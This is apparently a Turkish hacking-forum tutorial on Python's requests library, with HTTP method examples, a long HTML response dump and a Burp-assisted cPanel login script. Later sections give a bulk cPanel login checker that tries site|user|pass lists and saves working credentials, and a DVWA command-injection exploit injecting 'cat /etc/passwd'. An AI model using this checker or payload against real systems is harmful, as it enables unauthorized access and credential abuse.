Python Requests modülü kullanımı #DevSecOps

legandrary

Üye
24 Ağu 2023
164
35
Arkandayım
p0qbke2.png



Herkese selamlar, ben Ben Suppressor. Bugün bir konuyu revize edeceğiz. Konumuz, Python'da requests kütüphanesi kullanımı. Hazırsanız konuya geçelim.


umBqNLP.png

Python requests modülü nedir?

Kısaca tanımlamak gerekirse, bize Python ile HTTP istekleri göndermemize olanak sağlayan, kullanıcı dostu ve kullanımı kolay, ama yaptığı işin büyük olduğu bir kütüphanedir. Python kullananlar için geliştirilen bir HTTP istek kütüphanesidir. "HTTP FOR HUMANS" sloganı ile de adını global dünyaya kazımıştır.

Size göstereceğim uygulamalarda httpbin.org sitesini kullanacağım. Bu adres, HTTP isteği attığımızda isteğin yanıtını bize gösteren bir web uygulamasıdır.

Bazı örneklerde ise basit bir exploit ve cPanel'e login olmak, dosya yüklemek gibi şeyleri göstererek requests kütüphanesini anlamanızı sağlamaya çalışacağım.

Requests'in ne olduğunu öğrendik. Şimdi, tanımlanması ve kullanabileceğimiz temel fonksiyonlarına bir göz atalım.

requests kütüphanesi, HTTP isteklerini daha yönetilebilir ve anlaşılır hale getirmek için çeşitli ek özellikler de sunar, örneğin:
  • Parametreler eklemek (params argümanı ile)
  • Header eklemek (headers argümanı ile)
  • Kimlik doğrulama (auth argümanı ile)
  • JSON verisi göndermek (json argümanı ile)
ctf0sk9.png

HTTP methodları

-GET
-POST
-PUT
-DELETE


Get
HTTP GET istekleri, genelde bir sunucudan istenilen kaynağı almak için kullanılan bir yöntemdir.

Post
HTTP POST istekleri, GET isteğine nazaran genelde veri almak için değil, veri göndermek için kullanılır.

PUT
PUT isteği, sunucudaki mevcut bir kaynağı güncellemek veya kaynağı tamamen değiştirmek için kullanılır.

Delete

HTTP DELETE istekleri, istediğimiz kaynaktaki istediğimiz veriyi silmeye yarar.


umBqNLP.png


Syntax :

Syntax tarafında kısaca değinmeme gerekrise ilk olarak alt tarafta bahsettiğim bazı özellikler ile etkişeime geçmek için bir değişken tanımlıyoruz genelde r veya response kullanılır ama ne yazmak isterseniz onuda kullanabilir siniz ardından requests yazıp istediğimiz http method unu yazıyoruz

Kod:
değişken ismi =  requests.HTTP_METHOD

GET
Python:
import requests
 
response = requests.get(url="https://example.com/")


Attığımız istekten alabileceğmiz bazı veriler

print(response.status_code) # HTTP durum kodunu yazdırır (örneğin, 200, 404)

print(response.headers) # Sunucudan Dönen response un başlıklarını yazdırır

print(response.text) # response un içeriğini metin olarak yazdırır (html css javascript)


print(response.json()) # Yanıtın içeriğini JSON olarak yazdırır (eğer JSON formatındaysa)

umBqNLP.png


Status Code

Attığımız isteğin başarılı olup olmadığını, yönlendirme yapıp yapmadığını gibi bilgileri bize sayısal olarak bir değer ile gösterir.


HTTP_Status_Codes.png



TEXT

Attığımız HTTP isteğinin yanıtını bize metinsel şekilde sunar.


HEADER

Attığımız HTTP isteğinin başlıklarını bize gösterir.

JSON

Attığımız isteği JSON verilerini bize gösterir (veri JSON formatında ise).
ctf0sk9.png


STATUS CODE

Requests kütüphanesini programa ekledik. Ardından response diye bir değişken tanımladık ve get metodunu kullanarak istediğimiz siteye bir adet HTTP GET isteği atıyoruz. Ardından ekrana status code'u yazdırıyoruz ve giden isteğin status code'u 200 ise ekrana 'İstek başarılı' yazdırıyoruz.
Python:
import requests


def main():
    response = requests.get(url="http://httpbin.org/get")

    print(response.status_code)

    if response.status_code ==200:
        print("İstak Başarılı")
main()


Response
Rich (BB code):
200
İstak Başarılı


9d40krn.png


umBqNLP.png


TEXT

Yine aynı işlemleri yapıyoruz: Kütüphaneyi programa ekliyoruz, response diye bir değişken tanımlıyoruz ve bir HTTP GET isteği atıyoruz. Ardından ekrana yanıtın metinsel halini yazdırıyoruz ve istek başarılı ise (200), ekrana 'İstek başarılı' yazdırıyoruz. Ben HTTPBin sitesine istek attığım için text kısmında herhangi bir HTML, CSS veya JavaScript kodu gözükmedi. O yüzden farklı bir siteye istek atarak örneklendireceğim.


dhteb5j.png



Yine aynı şekilde, kütüphane tanımlamaları, değişkenin oluşturulması ve isteğin atılması ardından sunucudan gelen yanıt 200 ise ekrana `response'un text'ini yazdırıyoruz.
Python:
import requests


def main():
    response = requests.get(url="https://thehackernews.com/")

 

    if response.status_code ==200:
        print(response.text)


main()

Response
HTML:
<!DOCTYPE html>
<html dir='ltr' lang='en'>
<head>
<meta charset='utf-8'/>
<link href='/humans.txt' rel='author'/>
<meta content='IE=9; IE=8; IE=7; IE=EDGE; chrome=1' http-equiv='X-UA-Compatible'/>
<meta content='index, follow, noarchive, max-image-preview:large, max-snippet:-1, max-video-preview:-1' name='robots'/>
<meta content='width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=6.0' name='viewport'/>
<meta content='yes' name='mobile-web-app-capable'/>
<meta content='yes' name='apple-mobile-web-app-capable'/>
<meta content='#3732b3' name='theme-color'/>
<meta content='#3732b3' name='msapplication-navbutton-color'/>
<meta content='#3732b3' name='apple-mobile-web-app-status-bar-style'/>
<style type="text/css">@font-face {font-family:Roboto;font-style:normal;font-weight:400;src:url(/cf-fonts/s/roboto/5.0.11/greek-ext/400/normal.woff2);unicode-range:U+1F00-1FFF;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:400;src:url(/cf-fonts/s/roboto/5.0.11/vietnamese/400/normal.woff2);unicode-range:U+0102-0103,U+0110-0111,U+0128-0129,U+0168-0169,U+01A0-01A1,U+01AF-01B0,U+0300-0301,U+0303-0304,U+0308-0309,U+0323,U+0329,U+1EA0-1EF9,U+20AB;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:400;src:url(/cf-fonts/s/roboto/5.0.11/greek/400/normal.woff2);unicode-range:U+0370-03FF;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:400;src:url(/cf-fonts/s/roboto/5.0.11/latin/400/normal.woff2);unicode-range:U+0000-00FF,U+0131,U+0152-0153,U+02BB-02BC,U+02C6,U+02DA,U+02DC,U+0304,U+0308,U+0329,U+2000-206F,U+2074,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:400;src:url(/cf-fonts/s/roboto/5.0.11/latin-ext/400/normal.woff2);unicode-range:U+0100-02AF,U+0304,U+0308,U+0329,U+1E00-1E9F,U+1EF2-1EFF,U+2020,U+20A0-20AB,U+20AD-20CF,U+2113,U+2C60-2C7F,U+A720-A7FF;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:400;src:url(/cf-fonts/s/roboto/5.0.11/cyrillic-ext/400/normal.woff2);unicode-range:U+0460-052F,U+1C80-1C88,U+20B4,U+2DE0-2DFF,U+A640-A69F,U+FE2E-FE2F;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:400;src:url(/cf-fonts/s/roboto/5.0.11/cyrillic/400/normal.woff2);unicode-range:U+0301,U+0400-045F,U+0490-0491,U+04B0-04B1,U+2116;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:500;src:url(/cf-fonts/s/roboto/5.0.11/greek-ext/500/normal.woff2);unicode-range:U+1F00-1FFF;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:500;src:url(/cf-fonts/s/roboto/5.0.11/latin/500/normal.woff2);unicode-range:U+0000-00FF,U+0131,U+0152-0153,U+02BB-02BC,U+02C6,U+02DA,U+02DC,U+0304,U+0308,U+0329,U+2000-206F,U+2074,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:500;src:url(/cf-fonts/s/roboto/5.0.11/cyrillic/500/normal.woff2);unicode-range:U+0301,U+0400-045F,U+0490-0491,U+04B0-04B1,U+2116;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:500;src:url(/cf-fonts/s/roboto/5.0.11/greek/500/normal.woff2);unicode-range:U+0370-03FF;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:500;src:url(/cf-fonts/s/roboto/5.0.11/cyrillic-ext/500/normal.woff2);unicode-range:U+0460-052F,U+1C80-1C88,U+20B4,U+2DE0-2DFF,U+A640-A69F,U+FE2E-FE2F;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:500;src:url(/cf-fonts/s/roboto/5.0.11/latin-ext/500/normal.woff2);unicode-range:U+0100-02AF,U+0304,U+0308,U+0329,U+1E00-1E9F,U+1EF2-1EFF,U+2020,U+20A0-20AB,U+20AD-20CF,U+2113,U+2C60-2C7F,U+A720-A7FF;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:500;src:url(/cf-fonts/s/roboto/5.0.11/vietnamese/500/normal.woff2);unicode-range:U+0102-0103,U+0110-0111,U+0128-0129,U+0168-0169,U+01A0-01A1,U+01AF-01B0,U+0300-0301,U+0303-0304,U+0308-0309,U+0323,U+0329,U+1EA0-1EF9,U+20AB;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:700;src:url(/cf-fonts/s/roboto/5.0.11/latin/700/normal.woff2);unicode-range:U+0000-00FF,U+0131,U+0152-0153,U+02BB-02BC,U+02C6,U+02DA,U+02DC,U+0304,U+0308,U+0329,U+2000-206F,U+2074,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:700;src:url(/cf-fonts/s/roboto/5.0.11/cyrillic/700/normal.woff2);unicode-range:U+0301,U+0400-045F,U+0490-0491,U+04B0-04B1,U+2116;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:700;src:url(/cf-fonts/s/roboto/5.0.11/latin-ext/700/normal.woff2);unicode-range:U+0100-02AF,U+0304,U+0308,U+0329,U+1E00-1E9F,U+1EF2-1EFF,U+2020,U+20A0-20AB,U+20AD-20CF,U+2113,U+2C60-2C7F,U+A720-A7FF;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:700;src:url(/cf-fonts/s/roboto/5.0.11/vietnamese/700/normal.woff2);unicode-range:U+0102-0103,U+0110-0111,U+0128-0129,U+0168-0169,U+01A0-01A1,U+01AF-01B0,U+0300-0301,U+0303-0304,U+0308-0309,U+0323,U+0329,U+1EA0-1EF9,U+20AB;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:700;src:url(/cf-fonts/s/roboto/5.0.11/cyrillic-ext/700/normal.woff2);unicode-range:U+0460-052F,U+1C80-1C88,U+20B4,U+2DE0-2DFF,U+A640-A69F,U+FE2E-FE2F;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:700;src:url(/cf-fonts/s/roboto/5.0.11/greek-ext/700/normal.woff2);unicode-range:U+1F00-1FFF;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:700;src:url(/cf-fonts/s/roboto/5.0.11/greek/700/normal.woff2);unicode-range:U+0370-03FF;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:900;src:url(/cf-fonts/s/roboto/5.0.11/latin/900/normal.woff2);unicode-range:U+0000-00FF,U+0131,U+0152-0153,U+02BB-02BC,U+02C6,U+02DA,U+02DC,U+0304,U+0308,U+0329,U+2000-206F,U+2074,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:900;src:url(/cf-fonts/s/roboto/5.0.11/cyrillic/900/normal.woff2);unicode-range:U+0301,U+0400-045F,U+0490-0491,U+04B0-04B1,U+2116;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:900;src:url(/cf-fonts/s/roboto/5.0.11/cyrillic-ext/900/normal.woff2);unicode-range:U+0460-052F,U+1C80-1C88,U+20B4,U+2DE0-2DFF,U+A640-A69F,U+FE2E-FE2F;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:900;src:url(/cf-fonts/s/roboto/5.0.11/greek/900/normal.woff2);unicode-range:U+0370-03FF;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:900;src:url(/cf-fonts/s/roboto/5.0.11/latin-ext/900/normal.woff2);unicode-range:U+0100-02AF,U+0304,U+0308,U+0329,U+1E00-1E9F,U+1EF2-1EFF,U+2020,U+20A0-20AB,U+20AD-20CF,U+2113,U+2C60-2C7F,U+A720-A7FF;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:900;src:url(/cf-fonts/s/roboto/5.0.11/vietnamese/900/normal.woff2);unicode-range:U+0102-0103,U+0110-0111,U+0128-0129,U+0168-0169,U+01A0-01A1,U+01AF-01B0,U+0300-0301,U+0303-0304,U+0308-0309,U+0323,U+0329,U+1EA0-1EF9,U+20AB;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:900;src:url(/cf-fonts/s/roboto/5.0.11/greek-ext/900/normal.woff2);unicode-range:U+1F00-1FFF;font-display:swap;}</style>
<link href='/manifest.json' rel='manifest'/>
<meta content='280117418781535' property='fb:app_id'/>
<meta content='The Hacker News' property='og:site_name'/>
<link href='https://thehackernews.com/downloads/favicon.ico' rel='shortcut icon' type='image/x-icon'/>
<link href='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQQyjwPYjJP0wddSEB8Dlpr3dlnQUs52-WmlrZfqJoBPeOvv2Zoqlq-FhEAz_Xeprj_mtrI1MGCW1JS840JUjVEK6VoNe6zCNNTw_7YmyvNmf3E5pprZ3zqP8lszq74Wt97SvbJo5yeuyep0U6-nGs0vdarg4_WUrc5r6L0ML0xE-BsPipJd2-1PMHTvO1/s32-rw-e365/thn.jpg' rel='icon' sizes='32x32' type='image/jpeg'/>
<link href='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQQyjwPYjJP0wddSEB8Dlpr3dlnQUs52-WmlrZfqJoBPeOvv2Zoqlq-FhEAz_Xeprj_mtrI1MGCW1JS840JUjVEK6VoNe6zCNNTw_7YmyvNmf3E5pprZ3zqP8lszq74Wt97SvbJo5yeuyep0U6-nGs0vdarg4_WUrc5r6L0ML0xE-BsPipJd2-1PMHTvO1/s64-rw-e365/thn.jpg' rel='icon' sizes='64x64' type='image/jpeg'/>
<link href='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQQyjwPYjJP0wddSEB8Dlpr3dlnQUs52-WmlrZfqJoBPeOvv2Zoqlq-FhEAz_Xeprj_mtrI1MGCW1JS840JUjVEK6VoNe6zCNNTw_7YmyvNmf3E5pprZ3zqP8lszq74Wt97SvbJo5yeuyep0U6-nGs0vdarg4_WUrc5r6L0ML0xE-BsPipJd2-1PMHTvO1/s96-rw-e365/thn.jpg' rel='icon' sizes='96x96' type='image/jpeg'/>
<link href='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQQyjwPYjJP0wddSEB8Dlpr3dlnQUs52-WmlrZfqJoBPeOvv2Zoqlq-FhEAz_Xeprj_mtrI1MGCW1JS840JUjVEK6VoNe6zCNNTw_7YmyvNmf3E5pprZ3zqP8lszq74Wt97SvbJo5yeuyep0U6-nGs0vdarg4_WUrc5r6L0ML0xE-BsPipJd2-1PMHTvO1/s196-rw-e365/thn.jpg' rel='icon' sizes='196x196' type='image/jpeg'/>
<link href='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQQyjwPYjJP0wddSEB8Dlpr3dlnQUs52-WmlrZfqJoBPeOvv2Zoqlq-FhEAz_Xeprj_mtrI1MGCW1JS840JUjVEK6VoNe6zCNNTw_7YmyvNmf3E5pprZ3zqP8lszq74Wt97SvbJo5yeuyep0U6-nGs0vdarg4_WUrc5r6L0ML0xE-BsPipJd2-1PMHTvO1/s76-rw-e365/thn.jpg' rel='apple-touch-icon' sizes='76x76'/>
<link href='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQQyjwPYjJP0wddSEB8Dlpr3dlnQUs52-WmlrZfqJoBPeOvv2Zoqlq-FhEAz_Xeprj_mtrI1MGCW1JS840JUjVEK6VoNe6zCNNTw_7YmyvNmf3E5pprZ3zqP8lszq74Wt97SvbJo5yeuyep0U6-nGs0vdarg4_WUrc5r6L0ML0xE-BsPipJd2-1PMHTvO1/s120-rw-e365/thn.jpg' rel='apple-touch-icon' sizes='120x120'/>
<link href='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQQyjwPYjJP0wddSEB8Dlpr3dlnQUs52-WmlrZfqJoBPeOvv2Zoqlq-FhEAz_Xeprj_mtrI1MGCW1JS840JUjVEK6VoNe6zCNNTw_7YmyvNmf3E5pprZ3zqP8lszq74Wt97SvbJo5yeuyep0U6-nGs0vdarg4_WUrc5r6L0ML0xE-BsPipJd2-1PMHTvO1/s152-rw-e365/thn.jpg' rel='apple-touch-icon' sizes='152x152'/>
<meta content='en_US' property='og:locale'/> <title>The Hacker News | #1 Trusted Cybersecurity News Site</title>
<meta content='The Hacker News | #1 Trusted Cybersecurity News Site' name='twitter:title' property='og:title'/>
<meta content='The Hacker News is the most trusted and popular cybersecurity publication for information security professionals seeking breaking news, actionable insights and analysis.' name='description'/>
<meta content='The Hacker News is the most trusted and popular cybersecurity publication for information security professionals seeking breaking news, actionable insights and analysis.' property='og:description'/>
<meta content='The Hacker News is the most trusted and popular cybersecurity publication for information security professionals seeking breaking news, actionable insights and analysis.' name='twitter:description'/>
<meta content='website' property='og:type'/>
<meta content='https://thehackernews.com/images/-AaptImXE5Y4/WzjvqBS8HtI/AAAAAAAAxSs/BcCIwpWJszILkuEbDfKZhxQJwOAD7qV6ACLcBGAs/s728-rw-e365/the-hacker-news.jpg' name='twitter:image' property='og:image'/>
<link href="https://thehackernews.com/" rel='canonical' />
<link href="https://thehackernews.com/?m=1" media='only screen and (max-width: 640px)' rel='alternate' /><meta content='https://thehackernews.com/' property='og:url'/><meta content='@TheHackersNews' name='twitter:creator'/><meta content='@TheHackersNews' name='twitter:site'/><meta content='thehackernews.com' name='twitter:domain'/><meta content='summary_large_image' name='twitter:card'/><meta content='1251386282' property='fb:admins'/><meta content='172819872731894' property='fb:pages'/><link href='https://feeds.feedburner.com/TheHackersNews' rel='alternate' title='The Hacker News RSS Feeds' type='application/rss+xml'/><link href='https://thehackernews.com/feeds/posts/default' rel='alternate' title='The Hacker News RSS Feeds' type='application/atom+xml'/>
<meta content='cyber security news, cyber news, cyber security news today, cyber security updates, cyber updates, hacker news, hacking news, software vulnerability, cyber attacks, data breach, ransomware malware, how to hack, network security, information security, the hacker news, computer security' name='keywords'/> <style>
 
[other codes]...


2pnk6hl.png


umBqNLP.png


Header
Headerıların ne olduğunu anlatmayacağım ama bu konumu okuyarak ne olduğunu ve bir zafiyeti öğrenebilrisniz.


Python:
import requests


def main():
    response = requests.get(url="http://httpbin.org/get")

 

    if response.status_code ==200:
        print(response.headers)
 

main()


Response
Rich (BB code):
{'Date': 'Sat, 22 Jun 2024 13:48:21 GMT',
'Content-Type': 'application/json',
'Content-Length': '304',
'Connection': 'keep-alive',
'Server': 'gunicorn/19.9.0',
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Credentials': 'true'}

c1yuli7.png



umBqNLP.png


JSON



JSON (JavaScript Object Notation), anahtar-değer şeklinde verileri depolamamıza ve iletmemize yarayan, insanlar tarafından okunabilen bir dosya formatıdır.
JSON'ın temel özellikleri:
Basit ve Okunabilir: JSON formatı, düz metin kullanarak veri yapılarını temsil eder. Bu, hem insanlar hem de bilgisayarlar tarafından kolayca okunabilir ve yazılabilir.

Veri Yapıları:JSON iki temel veri yapısını kullanır:

  • Anahtar-değer (key-value)
  • Diziler (arrays)



Anahtar-değer (key-value)
JSON:
{
  "isim": "Kruvazör",
  "yaş": 25,
  "şehir": "Ankara"
}

  • Diziler (arrays)
  • JSON:
    [
         "teux",
         "Bunjo",
         "Suppressor"
     ]



Python:
import requests


def main():
    r = requests.get(url="https://gist.githubusercontent.com/diondree/b2e30aabf3ffc91d5f541c959faeffae/raw/858f07bd28f626eaf7ec2f403afe13916c12b8eb/mock-data-1000.json")

    if r.status_code == 200:
        print(r.json())

main()


Response
Rich (BB code):
[{'id': 1, 'first_name': 'Vanessa', 'last_name': 'Grimsell', 'email': '[email protected]', 'children': {'first_name': 'Elsa', 'last_name': 'Willmetts', 'email': 'Wofenden'}}, 
{'id': 2, 'first_name': 'Mordecai', 'last_name': 'Lauks', 'email': '[email protected]', 'children': {'first_name': 'Calypso', 'last_name': 'Lobbe', 'email': 'Blanko'}}





2j1h14d.png


ctf0sk9.png


umBqNLP.png


POST

Yukarıda da bahsettiğim gibi, yine POST requests ile text, JSON, header, cookie vb. gibi etkileşimlerde bulunabilirsiniz. POST requests tarafında:
Sessions kavramı: Python requests kütüphanesinde Session fonksyionu, birden fazla request'in istediğimiz bilgiler ile (örneğin, cookie'ler, header'lar) yapılmasını sağlar.

Python:
import requests

# Session oluşturma
session = requests.Session()

# Session ile login olma
data = {
    'user': 'username',
    'pass': 'password'
}
login_url = 'http://example.com/endpoint'
session.post(login_url, data=data)

# Session ile başka bir request atma
response = session.get('http://example.com/v2/endpoint')
print(response.text)

ctf0sk9.png


Cpanel requests ile login
DVWA Exploit





Bir request attığımızda bu isteğin response'undaki header, text gibi bazı bilgilere ulaşmıştık. Peki, biz bu verilere gönderebiliyor muyuz derseniz, evet, gönderebiliyoruz. Alt tarafta bir cPanel login örneği göstereceğim. Burada siteye data göndererek login olmaya çalışacağız. Bunun da kısaca syntaxına değinmem gerekirse:

JSON:
data = {
    "User-Agent": "User-Agent-Value",
    "Key": "Value"
}


İlk olarak cPanel'e giden veriyi ve dönen response'u öğrenmek için Burp Suite'i açıyorum ve siteye istek atıyorum.
İlk olarak Intercept ile isteği yakaladım ve Repeater kısmına isteği yolladım.


n7uhw5g.png


Bizi ilgilendiren kısımları "sarı" renk ile işaretledim. İlk olarak sol kısma bakalım.

İlk baktığımız zaman alt tarafta yazdığım endpoint'e bir POST request'in gittiğini görüyoruz:


Rich (BB code):
/login/?login_only=1

Biraz daha alt tarafa indiğimiz zaman "user" ve "pass" adında 2 adet verinin sunucuya gittiğini görüyoruz:

Rich (BB code):
user=user&pass=pass

Sağ tarafa baktığımız zaman ise sunucunun yanıtının 200 olduğunu görüyoruz.

Sağ tarafta bizi ilgilendiren en önemli kısım, en alt tarafta "Security_token" ve "status" isimli parametreler. Login olmak için "security_token" parametresinin bir önemi yok ama "status" kısmının var.

"Status" kısmı 1 olursa kullanıcı adı ve şifrenin doğru olduğunu belirtiyor, yanlış olursa 0 şeklinde dönüyor. Yani yapı olarak çok basit.

Peki bunu requests'e nasıl uyarlayacağız derseniz, elimizde gerekli endpoint (isteğin atıldığı yer), giden veriler ve dönen response var.

Kısaca Python ile bu isteği tekrar atacağız.

Kod tarafında bunu açıklayarak tekrar göstereceğim.




Kodun tam hali
Python:
import requests
 
username = "username"
password = "password"

data = {
    "user" : username,
    "pass" : password
}

r = requests.post(url="domain/login/?login_only=1",data=data)

 
if r.json()["status"] == 1:
    print("İstek Başarılı")

ctf0sk9.png



Kütüphaneyi import ediyoruz

Python:
import requests

Username ve password adında 2 adet değişken oluşturuyoruz ve username ile password'u buraya yazıyoruz (Kullanıcı adı ve şifre).

Python:
username = "username"
password = "password"
Giden datayı oluşturuyoruz. Yukarıda Burp Suite'de giden parametreler "user" ve "pass" şeklindeydi. Bu şekilde giden parametreleri yazıyorum ve kullanıcı adı ile password kısmını bu iki parametreye karşılık gelen yukarıda oluşturduğum değişkenlere tanımlıyorum.
Python:
data = {
    "user" : username,
    "pass" : password
}

Requests'i atıyoruz

Python:
r = requests.post(url="domain/login/?login_only=1",data=data)

Veriyi JSON formatında görüntüleyerek status kısmının 1 olup olmadığını kontrol ediyoruz. Eğer status kısmı 1 ise ekrana "İstek başarılı" yazdırıyoruz ve artık requests ile cPanel'e giriş yapmış olduk. Tabii bu çok basit bir uygulamaydı; bunu gelişmiş hale getirerek "cPanel Checker" gibi uygulamalar yazabilirsiniz.



Python:
if r.json()["status"] == 1:
    print("İstek Başarılı")
Basit bir auto cpanel login olma örneği göstereceğim
Python:
import requests
from colorama import Fore, Back, Style, init
import json


init(autoreset=True)

def main():
    with open(File_Name, "r") as f:
        data = f.readlines()  

    for logininfo in data:
        parts = logininfo.strip().split("|")
       
        if len(parts) != 3:
            print(Fore.RED + f"[-] Malformed line skipped: {logininfo.strip()}")
            continue

        Site, User_Name, Password = parts

        login_data = {
            "user": User_Name,
            "pass": Password
        }

        r = requests.session()

        try:
            response = r.post(url=f"{Site}/login/?login_only=1", data=login_data, allow_redirects=True, timeout=15)
            response.raise_for_status()
            loginresponse = response.json()
        except requests.RequestException as e:
            print(Fore.RED + f"[-] Error sending request to --> {Site}: {e}")
            continue
        except json.JSONDecodeError:
            print(Fore.RED + f"[-] Error decoding JSON response from --> {Site}")
            continue

        if loginresponse.get('status') == 1:
            print(Fore.GREEN + f"[+] Send request successful --> {Site}")
            with open("success.txt", "a", encoding="utf-8") as file:
                file.write(f"{Site}|{User_Name}|{Password}\n")


File_Name = input(Fore.BLUE + "Enter a File name: ")

main()


Kısaca ne işe yaradığına değineyim
umBqNLP.png

Gerekli kütüphanelerin import edilmesi
Python:
import requests
from colorama import Fore, Back, Style, init
import json

main adında bir fonksiyon tanımlanması:

Dosya isminin File_Name değişkeninden alınarak okunması.

Her bir satırın "|" işaretlerinden ayırılarak üç parçaya bölünmesi (örneğin: site|user|pass şeklinde).


if len(parts) koşuluyla, bu verinin üç parçaya doğru şekilde bölünüp bölünmediğinin kontrol edilmesi.


Python:
def main():
    with open(File_Name, "r") as f:
        data = f.readlines()  

    for logininfo in data:
        parts = logininfo.strip().split("|")
       
        if len(parts) != 3:
            print(Fore.RED + f"[-] Malformed line skipped: {logininfo.strip()}")
            continue

Bu satır, parts adlı liste değişkeninden üç değeri (Site, User_Name, Password) sırasıyla çıkarır



Python:
Site, User_Name, Password = parts



Bu kısımda ise gönderilecek veriler login_data isimli bir sözlüğe aktarılıyor.

Python:
login_data = {
    "user": User_Name,
    "pass": Password
}


Bir sessions oluşturulması ve session'u r değerine atanması.

Python:
   r = requests.session()


[CENTER][B][COLOR=rgb(255, 255, 255)][SIZE=4]POST requests kullanarak belirtilen siteye data ile beraber isteğin gönderilmesi.[/SIZE][/COLOR][/B]
[COLOR=rgb(255, 255, 255)][SIZE=4][B][/B][/SIZE][/COLOR]
[B][COLOR=rgb(255, 255, 255)][SIZE=4]Basit hata ayıklamalar.[/SIZE][/COLOR][/B][/CENTER]

[CODE=python]try:
            response = r.post(url=f"{Site}/login/?login_only=1", data=login_data, allow_redirects=True, timeout=15)
            response.raise_for_status()
            loginresponse = response.json()
        except requests.RequestException as e:
            print(Fore.RED + f"[-] Error sending request to --> {Site}: {e}")
            continue
        except json.JSONDecodeError:
            print(Fore.RED + f"[-] Error decoding JSON response from --> {Site}")
            continue


Response'dan gelen status değerinin 1 olup olmadığının kontrol edilmesi, ardından 1 ise 'site|user|pass' şeklinde succes.txt dosyasına kaydedilmesi. Son olarak en baştaki dosya isminin istenmesi ve ana fonksiyonun çağırılması.

Python:
 if loginresponse.get('status') == 1:
            print(Fore.GREEN + f"[+] Send request successful --> {Site}")
            with open("success.txt", "a", encoding="utf-8") as file:
                file.write(f"{Site}|{User_Name}|{Password}\n")


File_Name = input(Fore.BLUE + "Enter a File name: ")

main()
ctf0sk9.png

umBqNLP.png


DVWA Exploit kısmına geçiyorum

İlk requests öğrendiğim zaman yaptığım basit bir proje. Yukarı kısımda neyin ne olduğunu anlattığım için burada anlatmayacağım; zaten yorum satırları ile ne olduğunu yazmıştım.
Requests biraz da deneme yanılma yoluyla biraz araştırma gerektirir. Bu tür kodları tam anlamıyla okuyabilmek için yeni başlayan kişilere pek önermem, bu tür basit de olsa exploit vesaire işleri.


Python:
import requests

# URL of the page vulnerable to command injection
url = "DVWA command injection Page"

# Payload for command injection to be executed
payload = "cat /etc/passwd"

# Headers to be included in the HTTP request
header = {
  "Cookie": "security=low; PHPSESSID=0k6634cfi19e5sfn2vb754uns6"
}

# Data to be sent with the POST request
data = {"ip": "127.0.0.1;" + payload, "Submit": "Submit"}

def main():
  # Sending an HTTP POST request
  response = requests.post(url=url, data=data, headers=header)
 
  # Checking the server's response
  if "www-data" in str(response.content):
    print("Command injection vulnerability found!")
   
# Calling the main function
main()
Gelelim "PUT" ve "DELETE" isteklerine
Değiştirmek istediğimiz verileri aynı formatta yazıyoruz ve isteği endpoint'a atıyoruz. Aynı şey DELETE içinde geçerli.
Python:
import requests

get_url = "https://jsonplaceholder.typicode.com/todos/20"

to_do_item_20 = {"userId": 25, "title": "put title", "completed": False}
put_response = requests.put(get_url, json=to_do_item_20)
print("\nPUT Response:")
print(put_response.json())



Delete
Python:
import requests

get_url = "https://jsonplaceholder.typicode.com/todos/20"
 
delete_response = requests.delete(get_url)
print("\nDELETE Response:")
print(delete_response.json())
print("Status code:", delete_response.status_code)



Konu bu kadardı. Ben ve eşşek okuduğunuz için minnettar. Konuyu ne kadar çok beğenirseniz, @Kruvazör bana o kadar fazla maaş yatıracak.


Daha fazla detay için...


p0qbke2.png
Eline sağlık
 

Suppressor

Request Uzmanı
16 Kas 2022
1,242
25
783
always, everywhere
Üst

